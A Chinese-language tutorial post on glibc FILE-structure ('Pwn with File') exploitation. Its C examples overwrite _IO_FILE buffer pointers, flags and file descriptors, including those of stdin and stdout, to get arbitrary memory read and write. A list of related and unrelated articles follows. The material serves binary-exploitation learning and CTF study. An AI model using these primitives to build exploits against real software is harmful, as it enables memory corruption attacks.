Pwn with File结构体(二)
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
最新版的 libc
中会对 vtable
检查,所以之前的攻击方式,告一段落。下面介绍一种,通过修改 _IO_FILE
实现任意地址读和任意地址写的方式。
正文
_IO_FILE
通过这些指针,来读写数据。
如果我们修改了它们,然后通过一些文件读写函数时,我们就能实现 任意地址读写。
任意地址读
代码示例
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_file";
char *buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800;
// _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 6;
//绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// write 的目的 文件描述符, 1 --> 标准输出
fp->_fileno = 1;
fwrite(buf, 1, 100, fp);
return 0;
}
任意地址写
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char msg[100];
char *buf = malloc(100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过 check
fp->_flags &= ~4;
// _IO_buf_base buffer 的起始地址, _IO_buf_end buffer 的终止地址
// fread 先把数据读入 [_IO_buf_base, _IO_buf_end] 形成的 buffer
// 然后复制到目的 buffer
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg + 100;
// 设置 文件描述符, 0---> stdin, 从标准输入读数据
fp->_fileno = 0;
fread(buf, 1, 6, fp);
puts(msg);
puts(buf);
return 0;
}
利用 stdin / stdout 任意地址写/ 读
puts
, scanf
等一批系统函数默认使用的 stdin
, stdout
,stderr
等结构体进行操作,通过修改这些结构体的内容,可以更方便的实现任意地址读,任意地址写。
stdin
也是 _IO_FILE
结构体
#include <stdio.h>
#include <stdlib.h>
int global_val = 0xaabbccdd;
int main(int argc, char * argv[])
{
FILE *fp;
int var;
fp = stdin;
fp->_flags &= ~4;
fp->_IO_buf_base = stdout;
fp->_IO_buf_end = stdout + 100;
scanf("%d",&var);
printf("0x%x\n", global_val);
return 0;
}
运行之
成功修改 stdout
结构体
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_stdout";
char *buf = malloc(100);
fp = stdout;
// 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800;
// _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 12;
//绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// write 的目的 文件描述符, 1 --> 标准输出
fp->_fileno = 1;
puts("<----->this is append on msg ");
return 0;
}
成功读到了, msg
的内容。
参考:
https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique
Pwn with File结构体(二)的更多相关文章
- Pwn with File结构体(一)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...
- Pwn with File结构体(四)
前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...
- Pwn with File结构体(三)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- Linux_Struct file()结构体
struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file { /* * f ...
- Linux--struct file结构体
struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的 ...
- 2018.5.2 file结构体
f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...
- fd与FILE结构体
文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...
- file结构体中private_data指针的疑惑
转:http://www.360doc.com/content/12/0506/19/1299815_209093142.shtml hi all and barry, 最近在学习字符设备驱动,不太明 ...
随机推荐
- 使用Jacob操作Wrod文档的工具类代码
一.需要有jacob的jar包支持 import java.util.Iterator; import java.util.List; import java.util.HashMap; import ...
- (转)python高级:列表解析和生成表达式
一.语法糖的概念 “糖”,可以理解为简单.简洁,“语法糖”使我们可以更加简洁.快速的实现这些功能. 只是Python解释器会把这些特定格式的语法翻译成原本那样复杂的代码逻辑 我们使用的语法糖有: if ...
- 第6章—渲染web视图—使用Thymeleaf
使用Thymeleaf 长期以来,jsp在视图领域有非常重要的地位,随着时间的变迁,出现了一位新的挑战者:Thymeleaf,Thymeleaf是原生的,不依赖于标签库.它能够在接受原始HTML的地方 ...
- 前端知识概述----公司内部的一次分享 分类: JavaScript HTML+CSS 2015-04-16 21:24 2593人阅读 评论(2) 收藏
因为公司内部一个纯后端团队要做一些适合自己团队的web页面,所以就有了这次分享.知识都是很基础,有的知识也只是做了解简单介绍.主要是想让大家对前端有一个基本的了解.现在做一个总结.欢迎大家拍砖. 知识 ...
- 使用DataTrigger来代替Triggerr
普通的Trigger监听鼠标移入的代码如下: <Trigger Property="IsMouseOver" Value="true"> & ...
- Java多态的一些陷阱
Java多态是如何实现的? Java的多态和C++一样,是通过延时绑定(late binding)或者说运行时绑定(runtime binding)来实现的.当调用某一个对象引用的方法时,因为编译器并 ...
- koa2开发入门
一.koa2入门 1.创建koa2工程 首先,我们创建一个目录hello-koa并作为工程目录用VS Code打开.然后,我们创建app.js,输入以下代码: // 导入koa,和koa 1.x不同, ...
- Redis debugging guide---官方
Redis debugging guide Redis is developed with a great stress on stability: we do our best with every ...
- 安装和使用mongodb
环境: Ubuntu 13.04 安装MongoDB $sudo apt-get install mongodb 会自动安装libpcrecpp0 libboost-system1.42.0 libb ...
- 个人总结(Alpha阶段)
Alpha总结 我们在alpha 结束之后, 每位写一个博客, 回顾并总结自己的alpha 过程,哪些方面做的好的,哪些方面做得不足需要改进的 提出问题 同时,大家一定会在过程中产生了很多问题, 结合 ...